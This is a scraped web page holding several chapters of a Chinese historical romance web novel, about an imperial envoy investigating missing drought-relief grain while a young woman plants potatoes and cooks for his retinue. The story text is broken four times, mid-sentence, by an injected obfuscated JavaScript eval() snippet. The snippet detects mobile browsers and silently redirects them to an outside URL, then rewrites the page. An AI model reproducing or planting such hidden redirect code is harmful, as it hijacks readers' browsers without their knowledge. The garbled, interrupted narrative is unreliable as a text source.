蒋成晏在桌前坐了一会儿，伸手将昨晚写好的那封信从袖中取出，凑近烛火。火舌舔上纸角，很快将信纸吞没，化作一撮黑灰。 他重新铺开一张空白信纸，提笔蘸墨，这次没有停顿，奋笔疾书写了满满一张，又用火漆封好。 起身推开窗户，夜风裹着凉意涌进来。他吹了声短促的口哨，不多时，一只信鸽扑棱着翅膀落在窗沿上。 蒋成晏将信绑在鸽腿上，又从桌旁的点心盘里捏了一小块点心，喂给鸽子。鸽子咕咕叫着啄食完毕，张开翅膀，消失在了夜色中。 做完这一切，他才吹灭蜡烛，和衣躺下。 隔天清晨，天刚蒙蒙亮。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17463682|201299||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小客栈迎来了一位不速之客。 徐县令没有带随从，也没有穿官服，只着一身便装，轻轻叩响了客栈的大门。 “客人远道而来，岂有不迎接的道理。”他低声自语，目光却在四下里不着痕迹地打量着。 咚咚咚。 小五敲响蒋成晏的房门：“公子，楼下有人找。” “进来。”蒋成晏的声音从屋内传出，不紧不慢。 小五推门而入，见蒋成晏已经穿戴整齐，正坐在椅子上。桌上摆着一壶茶，两只茶杯，像是早就料到会有人来。 蒋成晏抬眼看了小五一下，语气不带感情道：“既然是客人，还不请人家上来。” “遵命。”小五领命退了出去。 徐县令从踏进客栈的那一刻起，就觉出了这伙人不一般。 一楼大堂的桌上摆着早饭，围坐的几个人却没有一个动筷，看似悠闲地坐着，实则下盘沉稳，腰背挺直。没有人用目光直视他，可他却实实在在地感受到了一种被盯着的压迫感。 猜对了。 徐县令心下有了数。他方才随意拦了一个人，说要见他们的主人，那人便飞快上楼通报。看来正主在二楼。 正思忖间，那人从楼梯上下来，语气不卑不亢：“阁下，我家公子有请。” 徐县令在一楼众人的注视下，跟着小五上了二楼。楼梯尽头，一扇房门半掩着。 他推门而入。 屋内，一个年轻男子坐在椅子上，二十出头的模样，眉眼英朗，眉宇间带着一股肃杀之气。他正提起茶壶往杯中添茶，动作不紧不慢，听见门响，头也没抬。 “有客来访，恕我未能远迎。”蒋成晏专注倒茶，语气听不出什么情绪，“给大人倒杯茶赔个罪，可好？” 徐县令丝毫未觉怠慢，反倒恭恭敬敬作了一揖：“是我不知贵客来访，招待不周，还望见谅。在下徐闻，本朝二十六年进士，为羌兀县县令。” 听到徐闻自报家门，蒋成晏这才放下茶壶，站起身来，双手轻轻一拱，回了个不咸不淡的礼：“县令大人，在下有礼了。” 徐闻心里暗暗盘算。昨夜看过的信件里，并未明说暗访的钦差是谁。眼前这位听他报了科举年份，却浑不在意，连个客套的同年都不攀，看来不是文官，应是武将了。 他面上不动声色，又道：“大人一路舟车劳顿，在下接待不周，还望大人责罚。” 蒋成晏听到这声“大人”，心下冷笑。这些文官惯会察言观色，同年带同年，同乡带同乡，三言两语就能把人的底细摸个七七八八。他还没说几句，对方就已经猜了个大概。 只是这种本事，放在京城也是少见的，竟会出现在一个小县令身上。 他收回思绪，开口道：“你来拜访我，没有提前知会；我来这里，也没有提前通报你。咱们扯平了。”他抬手指了指对面的椅子，“别站着了，请坐。我特地备了好茶，招待大人。” 两人依次落座。蒋成晏将面前倒好的茶杯推向徐闻：“请。” 徐闻端起杯子，笑道：“那便恭敬不如从命了。” 8. 一片银叶子 正所谓伸手不打笑脸人。徐闻从推门进来起，脸上便挂着笑，语气恭恭敬敬，毫无半点地头蛇架势。 他端起茶杯，轻轻抿了一口，不吝啬夸奖：“大人给的，果然是好茶。” 蒋成晏闻言，嘴角微微一翘，笑意却没到眼底：“徐县令果然是个妙人。这茶不过是客栈小二随手上的，倒被县令夸出花来了。” 换作旁人，被这般戳破，少不得要难堪。可徐闻面色如常，放下茶杯，不紧不慢道：“再怎么说，也是大人赏的茶，哪有不好喝的道理。” 蒋成晏从进门起便未自报家门，徐闻却一口一个“大人”叫得顺溜。他心下又添了几分思量，却没接话，只自顾自端起茶杯，细细抿了一口。 一时间，屋里安静得只听得见茶水入喉的细微声响。 徐闻率先从袖中取出那枚银叶子，搁在桌上，语气诚恳：“在下治下无方，收受了大人的东西，还请大人见谅。” 蒋成晏瞥见那片银叶子，心里顿时了然，原是这东西露了白。可他想不通，这么个小玩意儿，怎就能让人联想到自己头上。 徐闻脸上依旧挂着笑，不紧不慢地解释：“大人有所不知，我们这地方穷山僻壤，您这个赏赐实在太贵重了。在京城，或许只是寻常打赏，可在这儿，一般人得了，足以当传家宝。” 蒋成晏怔了一下，随即笑出声来，这是今日头一回真真切切地笑了。他没想到，竟是这样一件小事露了破绽。 他本该早回边疆继续带兵，是母亲劝他接下这趟巡查。就连一向反对他插手文官事务的父亲，这回也没拦着。如今看来，他还是太年轻了。年少成名，是把双刃剑，他太自负了。 想到这里，他收起了对徐闻的轻视，开始正视眼前这个半路杀出来的县令。 “我赏出去的东西，从没有收回来的道理。”蒋成晏将茶杯搁下，语气平平，却不容置疑。 徐闻听他那声笑，心里已有了几分底，再听到这话，更是踏实了些。他接着解释道：“我已经让师爷另赏了那人。只是大人赏一户，解决不了根本。往后若是再有人得了丰厚赏赐，照样会被眼红的人举报。” 蒋成晏刚收起偏见，准备认真应对，听到这话，心里头却蹿起一丝火气。他压了压，问道：“你是本县的父母官，县里的事不都归你管？我又能解决什么？” 徐闻心知，话已引到正题上了。来之前他便做好了准备，只想瞧瞧这位钦差是不是个能成事的。没想到蒋成晏竟主动问了出来。他心下闪过一丝歉疚，到底还是利用了人家。 他站起身，朝蒋成晏深深作了一揖，声音里带着几分恳切：“还请大人，救救本县所有因旱灾而流离失所的百姓。” 徐闻脸上的笑不知何时已经褪去了。 蒋成晏没有起身去扶他，连虚情假意的客套都懒得做，只是冷冷盯着徐闻，上下打量了这个四十来岁的县令一眼。 良久，他才开口：“我只是个过路的，帮不了大人。朝廷拨的赈灾粮，足够大人撑到秋收了。” 听到蒋成晏终于提起赈灾粮的事，徐闻明显松了一口气。他环顾四周,房门已经被人轻轻带上，窗户也未打开，仿佛下了什么决心，压低声音道：“在下从未收到朝廷的赈灾粮。唯一的粮食，是从邻县调拨过来的陈米。” “从未收到？”蒋成晏眼神一凛，身子微微前倾，浑身气场变得凛冽，“诽谤朝廷可是大罪。徐县令，你可知错？” 徐闻露出一个比哭还难看的苦笑：“今夏大旱，我们几个县一同上报知府，知府也报了朝廷，朝廷答应拨粮。可我们足足等了三个月，一粒米都没见着。隔壁县比我们稍强些，他们直接征了粮行，匀了一点陈米给我。我日日盼着钦差大人能查清楚。好好的粮食，怎么就凭空没了？” 他这番话，倒是与小六在县衙库房看到的场景相符。确实只有陈米。 但若说他是个不谙世事的纯良县令，蒋成晏是不信的。一个能在地方上站稳脚跟的县令，没点手段和城府，早就被人吃干抹净了。 “你要我怎么做？”蒋成晏问，手指在桌面上轻轻叩了一下，“调查贪腐，没有月余拿不下来。”言下之意，这一个月里还是没有粮食，灾民照样得饿死。 徐闻听出他话里的松动，长出一口气，拱手道：“在下是本县父母官，自当竭尽全力稳住局面，哪怕去借去求，也要撑住。只要赈灾粮的事能被朝廷知晓，我就死而无憾了。” 蒋成晏并未全信，只站起身来，居高临下地看了他一眼：“我还会在此地待月余。希望徐县令说到做到。” 月余？徐闻心下诧异。他原以为蒋成晏会立刻回京查案，没想到还要逗留这么久。他一时拿不准，也不好开口相劝。催人走，显得心虚；留人久住，又怕惹人猜疑。 正犹豫间，蒋成晏瞥了他一眼，慢条斯理地补了一句：“我姓蒋。” 徐闻心头猛然涌上一阵狂喜，蒋国公今年五十有余，膝下有一嫡子，名唤蒋成晏，年方二十出头，与眼前这人正好对上了。 他当即深深一揖，腰弯得几乎与地面平行：“多谢蒋大人，救民于水深火热！” 蒋成晏面无表情，只道：“水深火热？”他顿了顿，嘴角微微一动，不知是笑还是嘲讽，“你回去把现有的粮食仔细清点出来。要我帮忙，也得拿出个章程。理清楚了，再来找我。” “遵命，只是客栈简陋，大人何不搬到县衙同住？”徐闻诚恳邀请。 蒋成晏摆了摆手，没有解释。 眼见目的已达，徐闻便行礼告辞，脚步轻快了几分，与来时判若两人。 蒋成晏站在原地，目送他离开。待门关上，他脸色一沉，冷冷道：“把小六给我叫进来。” 这段时间比起边疆，到底还是过于安逸了。小六懒洋洋地靠在椅子上，正等着主子下楼开饭，没成想等来的却是主子召见的噩耗。 他心跳如雷，战战兢兢地走进房间。 蒋成晏正端坐在椅子上，面上没什么表情，可那双眼睛看过来时，小六只觉得后背发凉。 他的直觉一向很准，当下不敢迟疑，扑通一声跪下来，额头几乎贴地：“请主子责罚。” 蒋成晏见他还算识趣，也不废话，直接将那片银叶子丢在他面前的地上。叶子落在地砖上，发出一声清脆的响，弹了两下才停住。 “看看这是什么。” 小六捡起来，捏在手里看了一眼，脸色就白了。这是他们随身携带的银叶子，前几日他随手赏给了城门看守。他低着头，声音发紧：“还请主子明示，属下愚钝。” 蒋成晏冷笑一声：“你赏出去的东西，被人举报了。这东西太精致，太惹眼，在这穷地方露了白，跟举着火把进粮仓有什么区别？” 小六震惊地抬起头：“就一片叶子，就被发现了？” 蒋成晏没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17463683|201299||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有接话，只是看着他，目光沉沉的。 这次出行，比起边疆的打打杀杀，确实轻松许多。可人一旦放松警惕，就容易露出破绽。蒋成晏自己心里也清楚，叫一个士兵去干文官的活，本就不合适，倒也不全怪小六。但规矩就是规矩，不能因为情有可原就轻轻放过。 “下不为例。自己去领罚。”他丢下这句话，推开门走了出去，留小六一个人在房间里长跪于地。 一楼的众人，方才还有说有笑的，自从目睹县令上门、小六被叫上楼之后，一个个都老实了。他们正襟危坐，眼观鼻鼻观心，恨不得连呼吸都停下来，生怕一个不注意就惹恼了蒋成晏。 大堂里安静得有些诡异，连茶碗碰桌子的声音都显得格外刺耳。 第一个下楼的却不是蒋成晏，而是苗苗。她脚步轻快，哒哒哒地跑下来，像一只不知愁的小鹿，径直走向众人。经过这几天的相处，苗苗胆子也大了些，笑着道：“你们都等我们呢？真不好意思啊。” 没人应她。大家都坐得端端正正，像学堂里等着夫子训话的学生，眼珠子都不敢乱转。 叶容容赶紧拉住她，低声道：“别跑那么快。先坐下，等会儿吃了饭还要搬家呢。” 苗苗见没人搭理，虽然觉得奇怪，也没多问，乖乖跟着叶容容坐下了，只是时不时偷眼去看那些随从的脸色。 楼上传来脚步声，不紧不慢，一下一下像是踩在人心口上。 终于，蒋成晏迈着沉稳的步子走下楼来。他面无表情，目光从众人身上扫过，不带一丝温度。他入了座，一言不发。 这一顿饭吃得人心里发慌，既不敢不吃，也不敢在主子前面吃完。众人战战兢兢地等到蒋成晏放下碗筷，这才暗暗松了口气，像是熬过了一场大刑。 叶容容正要拉着苗苗回屋收拾东西，却被蒋成晏叫住了。 “叶姑娘，一会儿有事吗？” 叶容容摇摇头：“没事，正打算回屋收拾东西。怎么了？” “搬东西的事交给他们就好。”蒋成晏道，语气不像是商量，“叶姑娘可愿同我去街上走走？” 叶容容略一迟疑，还是点了点头：“有劳公子。” 亲眼看着蒋成晏和叶容容出了门，随从们这才把悬着的心放下来，一个个溜得飞快，像是身后有人拿着鞭子追似的。 清晨的街上，比往日热闹了些。附近的村民拿着自家种的或是捕到的东西来交易，都盼着能换一口粮食。有人蹲在路边卖几把干野菜，有人拎着两只瘦鸡，还有几个孩子举着几串野果子，眼巴巴地望着来往的行人。 蒋成晏带着叶容容穿过熙熙攘攘的街道，一边走，一边打量着市井的情形。他步子不快，目光从一个个摊子上扫过，像是在寻找什么，又像是漫不经心。叶容容也是头一回逛古代的早市，看什么都觉得新鲜，那些叫不出名字的野果、用草绳捆着的草药、甚至路边一口冒着热气的大锅，都让她忍不住多看两眼。 走了一阵，蒋成晏忽然放慢了脚步，侧过头看了她一眼。叶容容正盯着一个卖干蘑菇的摊子出神，没注意到他的目光。 “叶姑娘。”他开了口，声音不大。 叶容容回过神，抬眼看他。 “这段时间，除了等你的土豆，”蒋成晏的语气不紧不慢，像是在说一件无关紧要的事，目光却落在她脸上，没有移开，“这早市上，可还有什么能救灾的东西么？” 9. 搬家啦 叶容容抬起头来看着蒋成晏，眼神里闪过一丝尴尬。她原以为真的只是出来走走，并未刻意留意什么有用的东西，倒是看上了那几朵干蘑菇，心里头还在琢磨，这玩意儿若是用来炖鸡，不知该有多香。 “我……还没仔细看。” 蒋成晏见她这副神色，没说什么，只蹲下身去，目光顺着她方才看的方向落在那堆干蘑菇上。 “叶姑娘看上这个了？” 叶容容如实道：“我看上这干蘑菇了。若是能寻只鸡来炖，想必是极好的。” 这几日已尝过叶容容的手艺，蒋成晏倒不怀疑她的眼光。他没多话，从怀里取出荷包，付了钱。 卖干蘑菇的小贩没想到今日这么早就开了张，喜得眉开眼笑。 叶容容接过蘑菇，正要转身，忽觉身上落了一道目光。她侧过头，见几个孩子正举着野果串，眼巴巴地望着这边。那一双双眼睛水汪汪的，像小鹿一般，叶容容心里一软。 她忽然想起自己还有仅剩的五文钱，便走到那几个孩子跟前，蹲下身来：“你们在卖什么？” 一个孩子举起手中的野果串，脆生生道：“这是我们在山里捡的，吃起来酸酸的，能止渴。” 叶容容瞧了一眼，确实不认得。她心下好奇，又问：“多少钱？” 那孩子倒也实诚，摇摇头说：“不管钱，姐姐随便给点就行。” 见孩子答得真诚，叶容容便将身上仅剩的五文钱都掏了出来，塞到孩子手里。 孩子捧着钱，一个劲儿地道谢。 蒋成晏站在一旁，将这一切看在眼里。他面上没什么表情，只默不作声地从荷包里又摸出几文钱，随手放在那孩子手中，动作干净利落，不带一丝多余的情绪。 孩子低头一看，激动得说不出话，连连朝两人作揖，然后兴冲冲地攥着钱往家跑。 两人便带着一包干蘑菇和几串野果，并肩往回走去。 叶容容一直以为蒋成晏是个冷漠无情、不近人情的权贵，没想到他竟也有这样一面。她手里捏着野果，余光偷偷瞥了一眼身旁面无表情的男人。 蒋成晏察觉到了她的小动作，脸上没什么反应，连眼皮都没抬一下，只当没看见。 回到客栈时，所有人都已收拾停当，只等蒋成晏发话。 苗苗一眼瞧见叶容容手里拿着东西，赶忙迎上去接过来，笑嘻嘻地问：“小姐，你们买了些什么好东西呀？” 叶容容一样一样地告诉她。苗苗听说今晚有炖鸡吃，眼睛顿时亮了起来，欢喜得直搓手。 蒋成晏只说了句“走吧”，便转身去了后院牵马。 众人带上行李和马匹，往新租下的小院走去。小六留在后头跟小二结账，自知犯了错的他，付完钱便老老实实走在队伍最后面，恨不得把自己藏起来，生怕引起蒋成晏的注意。 苗苗跟在叶容容身后，走了一会儿才发现平日里最活泼的小六不见了。她回头张望，瞧见队伍末尾那个垂头丧气的身影。 小六虽然极力掩饰，可走路的姿势还是有点不对劲，腿脚微微有些跛。 联想到今早吃早饭时那诡异的安静，苗苗心里隐约明白了什么，远远地看了小六一眼。 小六像是感应到了什么，恰好抬起头来，与苗苗的目光撞个正着。那一瞬间，苗苗觉得周围的空气都凝住了，耳边什么声音都听不见了，只看见小六缓缓抬起手，冲她轻轻摆了摆。 苗苗忽然想起他带她骑马时的模样。 那是除了小姐之外，她头一回感受到的暖意。想到这里，她脸上微微一热，赶紧扭过头去，生怕被人瞧见。 牙婆早已等在小院门口，手里攥着钥匙。小六他们提前付清了银子，她今日只需把钥匙交出来便是。 见蒋成晏骑马过来，牙婆满脸堆笑，正要凑上去攀谈，却被小五不动声色地拦住了。小五接过钥匙，又从怀里摸出一小块碎银子递过去。牙婆得了赏钱，笑呵呵地说了两句吉祥话，便识趣地告辞了。 众人这才进了院子。 小六默默走到蒋成晏跟前，接过缰绳，牵着马去了马房。蒋成晏扫了一眼他那微微跛着的腿，目光停了一瞬，便收了回来，什么也没说。 房间是早就安排好的。叶容容挑了离后院水井最近的一间，屋子不大，只有一扇朝后院的窗户。陈设也简陋，连个屏风都没有，推开门便是一览无余，床榻就在眼前。 叶容容并不在意这些，她满心惦记着那些土豆。放好行李，便迫不及待地往后院跑。 她之前叮嘱过，要把买的土豆都放在后院等着。果然，地上摆着两麻袋发了芽的土豆。 叶容容提起袋子，哗啦一声把土豆全倒在地上。圆滚滚的土豆就在后院的土地上四散滚开。她从井里打了水，洗净双手，又挽起袖子，准备大干一场。 苗苗忙着把跑远的土豆捡回来，蹲在地上问：“小姐，需要我做些什么吗？” 叶容容不知道怎么跟她讲选种的事，便道：“你去厨房找两把小刀来。” 她则蹲下来，自己动手挑拣那些芽点饱满的土豆。这东西要切成块，每块上都得留一个发芽的眼儿，不然成活率低。 苗苗头一回到这院子，绕了一圈也没找着厨房。正巧碰上拴好马的小六，小六见她像只无头苍蝇似的乱转，问道：“你找什么呢？转了半天了。” “小姐让我去厨房找两把小刀，我没找着厨房。” “小刀？”小六有些纳闷，不知叶容容要刀做什么，但也没多问，随手把自己腰间的匕首解下来递过去，“用我的吧，比厨房的刀快多了。” 苗苗接过来，感激道：“多谢小六哥。小姐说要两把……” 一旁看热闹的小五没忍住，噗嗤笑出了声。小六回过头，瞪了他一眼，二话不说走过去，按住小五，从他怀里也摸出一把匕首，一并递给苗苗。 “拿去。” “多谢小六哥、小五哥！”苗苗捧着两把匕首，一溜烟跑了。 苗苗把两把匕首递给叶容容。 叶容容接过来，拿起一个土豆，边切边给苗苗讲解：“要把每个发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17463684|201299||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了芽的土豆都切成块，每一块上都得带着绿芽才行。” 这活儿倒是不难。苗苗很快就上手了，切得飞快。 蒋成晏站在不远处，目光落在她们身上。他心中暗暗称奇，按常理，这种独门手艺，寻常人家都是藏着掖着，生怕旁人学了去。叶容容倒好，大大方方地教给自己的丫鬟，丝毫不怕教会了徒弟、饿死了师傅。 他略一沉吟，抬手指了指正在忙碌的叶容容。 身旁的随从立刻会意，走上前去，客客气气地问道：“叶姑娘，可有什么需要我们帮忙的？” 叶容容抬头看了一眼，道：“我也不晓得你们会些什么，就不瞎指挥了。劳烦各位把这后院的土翻一翻，等我们把土豆切好，正好可以下种。” 得嘞。 众人应了一声，四散开去，找锄头的找锄头，划线的划线，后院顿时热闹起来。 前院的小五和小六也走了进来，一眼看见满院子的人都在埋头翻地，不禁揉了揉眼睛，以为自己看错了。众人见了他们，赶忙招手：“愣着干什么？过来帮忙！” 苗苗听见动静，抬起头，正好看见小六。她想起他方才走路时腿脚还有些不便，心里头微微一揪，可又不知该说什么，手上切土豆的动作也慢了下来。 一旁的叶容容察觉到她的异样，低声问：“怎么了？” 苗苗张了张嘴，想说什么，又咽了回去，人家未必需要她的好心。她垂下眼，手里的刀却没有再动，余光却不由自主地往小六那边瞟。 叶容容顺着她的视线望过去，心里便明白了八九分。她放下匕首，站起身，拍了拍衣上的碎屑，走到蒋成晏跟前。 “蒋公子，今日刚搬过来，大家都出了力。中午我想给大家做顿饭，正好早上买了蘑菇，可以炖只鸡。”她顿了顿，“只是我一个人忙不过来，能不能让小六去帮我采买？顺便让他搭把手。” 蒋成晏没有拒绝，微微点了点头，唤道：“小六。” 小六应声走过来。 “你跟着叶姑娘去厨房，听她安排。” “遵命。” 叶容容领着小六走到后院外一处僻静地方，才道：“我也不知你们中午想吃什么。你去买只鸡来炖蘑菇，其余的菜你看着办。我先去切土豆，一会儿我们在厨房碰头。” 小六心里明白，这是主仆二人有意让他避开那些重活。他抱了抱拳，没多说什么，转身去了。 叶容容返回后院，继续切土豆。其余人则埋头翻地，一时间，小小的后院满是劳作的气息。 众人齐心协力，不多时便翻出了两块方方正正的地。眼看日头渐渐高了，怕晒坏了即将要下的种，他们又就地取材，在周围寻到几个竹竿，在地的四角搭起竹竿，预备着回头买些布匹来，做个遮阳的棚子。 叶容容和苗苗也把土豆切完了，找了个阴凉处搁好，避免日头直晒。 叶容容拍了拍身上的土，朝众人欠了欠身，笑道：“多谢各位帮忙。一会儿我给大家炖鸡吃。眼下没什么急事了，诸位先歇一歇吧。” 10. 来信 叶容容从水井里提了一桶水上来，供众人洗手。自己则快步走向厨房，准备张罗搬到新家后的第一顿午饭。 小六已经买好食材，在厨房里等着了。见叶容容进来，他主动解释道：“这地方小，物产不丰，将就着买了几样。” 叶容容点点头：“有鸡便够了。我做一个小鸡炖蘑菇，再添两个菜。” 小六站在厨房里，手足无措。他自幼舞刀弄剑，哪里进过灶房？所谓君子远庖厨，他连菜刀都没摸过几回，此刻只觉得浑身不自在。 叶容容见他这副模样，忍不住笑了一声：“小六，你该不会是不会做饭吧？” 被这么一调侃，小六脸涨得通红，憋了半天，愣是一句话也说不出来。 叶容容怕再逗下去真把他惹急了，便收了笑意，吩咐道：“生火你总会吧？你就守着灶台，把火烧旺些，草木灰待会儿有用。” 这个倒是会。小六乖乖蹲到灶台前，开始生火。 叶容容看了一眼厨房门口那只活蹦乱跳的大公鸡，心里默念了一句；“早日投胎”便将鸡提起来，抄起菜刀，利落地送它上了路。她顺手拿了个小碗，将鸡血接住，一滴也没浪费。 一气呵成。 小六那边也烧好了热水，用瓜瓢舀进木桶里。叶容容将公鸡浸入热水中，趁热开始拔毛。热气在狭小的厨房里弥漫开来，她手上动作极快，一看就是做过许多回的。 趁水还热着，她又舀了一碗干净的热水，把早市上买的干蘑菇泡进去。 拔净毛的鸡冲洗干净，搁在案板上，叶容容手起刀落，邦邦邦地剁成了小块。 一旁烧火的小六全程只负责添柴加热水，半点忙也帮不上，只能干瞪眼看着。 叶容容抽空把小六买回来的米淘洗干净，用另一口土灶焖上了饭。 一顿忙活下来，她备了三道菜。 头一道是大菜，蘑菇炖鸡。野生的蘑菇比后世人工培育的香得多，蘑菇的鲜香中和了鸡肉的油腻，只留下肉香。掀开锅盖的一瞬间，香气四溢，连在外头休息的随从们都闻到了。 鸡杂也不能浪费。叶容容翻来覆去洗得干干净净，确保没有一丝异味。锅里倒上油，猛火爆炒，鸡杂刚断生便铲出来，火候恰到好处。 先前接的鸡血已经凝固，她用刀划成小块，配上几样蔬菜，煮了一碗清淡的鸡血汤。 烧火的小六光是闻着这些香味，就馋得直咽口水。 最后一道汤出锅，叶容容拍了拍手，宣布：“可以开饭了。” 随从们争先恐后地涌进厨房，端菜的端菜，盛饭的盛饭，一个比一个积极。 蒋成晏坐在大堂里，看着自己这些平日里一个比一个冷着脸的属下，此刻像饿了三天的狼崽子似的在厨房和堂屋之间来回穿梭，不由微微一怔。 饭菜的香气随着他们的脚步飘进来。 他参加过许多场宴会，京城的、边关的、官场应酬的，哪一桌不是摆盘精致、食材稀罕？可那些山珍海味，竟没有一次像眼前这样，普普通通的炖鸡，勾得他腹中也有了饿意。 众人坐定，待蒋成晏先动了筷子，其余人才开始风卷残云般地吃起来。 鸡肉炖得软烂，混着蘑菇的鲜香，蘑菇嚼起来有韧性，满口生香。 鸡杂脆嫩，处理得干干净净，没有一丝异味。 肉菜吃腻了，再添一碗清淡的蔬菜汤，正好解腻。 几道菜搭配得当，一顿饭吃得所有人都心满意足。待盘里最后一块蘑菇被人夹走，众人才意犹未尽地放下筷子，脸上还挂着几分不舍。 小五甚至在心里头盘算：叶姑娘若是在京城寻不着亲人，他倒愿意出银子请她去军营当厨娘，让别的大营都眼红去。 美食当前，没人留意到蒋成晏，平日里讲究吃饱就不多于进食的他，今日破天荒地添了两次饭，菜也吃了不少。搁下碗筷的那一刻，他自己便觉出腹中有些撑了。 “叶姑娘这手艺，真是一绝。” “跟着她这些天，每顿饭都叫人惦记。” 众人你一言我一语，毫不吝啬地夸赞。 叶容容被说得有些不好意思，白皙的脸上微微泛起红晕，衬得人愈发温婉。 众人赶紧拦住正要收拾碗筷的叶容容，七嘴八舌道：“叶姑娘做饭辛苦了，这些小事交给我们便是。您先歇一歇，待会儿再给我们安排下午的活。” 叶容容领了他们的好意，没有勉强，自己坐到一旁歇息。 正发着呆，手肘忽然被人轻轻碰了一下。她转过头去。 不知何时，蒋成晏已沏好了一壶茶，正往杯子里倒。他将一杯茶递过来：“叶姑娘，喝杯茶消消食。” “多谢多谢。”叶容容受宠若惊地接过茶杯，“蒋公子太客气了。” 蒋成晏端起自己那杯，没什么多余的反应，只回了一句：“礼尚往来。” 叶容容小口抿着热茶，还没想出怎么接话，蒋成晏忽然换了话题：“依叶姑娘所见，这批土豆需要多大的地来种？可有什么章法安排？” 说到这个，叶容容便有说不完的话：“我们下午先在院里试种，等过几天发了芽、生了根，再移到田里大规模种。估摸着一个多月就能收了。” 蒋成晏听后点了点头：“好。期间叶姑娘若有什么难处，尽管来找我。” 叶容容再三道谢。这时随从们已收拾好厨房，纷纷聚到大堂来。 “叶姑娘，我们都准备好了，现在去种地么？” “来了。”叶容容赶紧把杯中的茶喝完，放下杯子，“多谢公子的好茶。我们先去后院种地了。”说完，一溜烟跑了出去。 蒋成晏看着她的背影，虽然面上没什么大表情，目光却在她跑远的那个方向停了一瞬。露出一个连他自己都没有发现的笑容。他正准备起身去后院，忽然听见一阵翅膀扑腾的声音。 循声望去，一只信鸽落在窗棂上。 他招了招手，鸽子温顺地飞过来。他取下绑在腿上的信件，转身回了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17463685|201299||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自己房间。 后院里，众人早已等候多时，个个跃跃欲试。 叶容容见大家这般积极，心里也高兴，便开口分配活计：“今天的前期准备工作不多。只需要把每个切好的土豆块裹上草木灰，再埋进土里就行了。” 一部分人跑去厨房铲灶台底下积的草木灰，剩下的人拿起锄头，在地里挖出沟壑，按一定的间距准备播种。 小五好奇地问：“叶姑娘，种地为什么要用草木灰？” 叶容容也不藏私，大大方方地解释：“头一桩，草木灰可以防止切面发霉；第二桩，草木灰本身也能肥地。你们日后若自己种菜，不妨也试试。” 众人心里暗暗称奇，他们从未向叶容容透露过身份，可叶姑娘竟这般坦然地把这些门道教给他们。虽然他们这辈子大概率也用不上这些了。 这次的旅程，在他们戎马一生的军旅生涯中，大概只是一段小小的插曲罢了。 “让让！让让！”去取草木灰的人端着满满一盆灰回来了。 叶容容看着那盆灰，满意地点了点头。 众人纷纷动起手来：切好的土豆块在草木灰里滚上一圈，带着灰直接放进刚挖好的小土坑里。有人裹灰，有人播种，有人挥锄覆土，分工明确，配合默契。 一时间，后院里满是热火朝天的劳作气息。 蒋成晏快步走回房间，撕开信封，取出信件。是父母来的信。 母亲照例叮嘱他小心行事；父亲则提点了几句朝堂近来的动向，告知他缺粮的事已暗中知会了首辅，对方已派人来查，让他们不便过多插手。 蒋成晏看着母亲信中的关切话语，脑海中忽然冒出一个不相干的念头：母亲素来食不厌精，她会喜欢吃蘑菇炖鸡么？ 这念头一闪而过，他自己都微微一怔。随即晃了晃头，将思绪拉回正事上。 他先提笔给父亲回信，写下了这些时日的见闻，提到那个不同寻常的县令，顺带询问了知府那边的动静。字句简短，公事公办，末了告知还需月余才能回去。 给母亲的信则家常了许多，问候了母亲的近况，让她不必挂念。 搁下笔，他忽然想起叶容容托他寻亲的事，如今八字还没一撇，贸然拜托母亲，只怕会引起她的疑心。不如先找母亲身边的王嬷嬷打听打听。王嬷嬷是母亲的陪嫁丫鬟，精明能干，京城里的大小事务，她多少都知晓一些。 想到这里，他放下笔，将信件收好，起身往后院走去，他想多问叶容容几句，关于寻亲的细节。 等他走到后院时，先前那片荒凉的土地已被收拾得井井有条，种植工作也快收尾了。他只看见一块块被泥土覆盖整齐的垄沟。 “叶姑娘。”他唤了一声。 叶容容正在做最后的收尾。刚种下的土豆需要浇一次透水，水要浇足，才能保证发芽。听见有人叫她，她抬起头，正看见蒋成晏站在长廊上。 “来了。”她应了一声，拍了拍手上的泥，快步走了过去。 11. 母亲的信 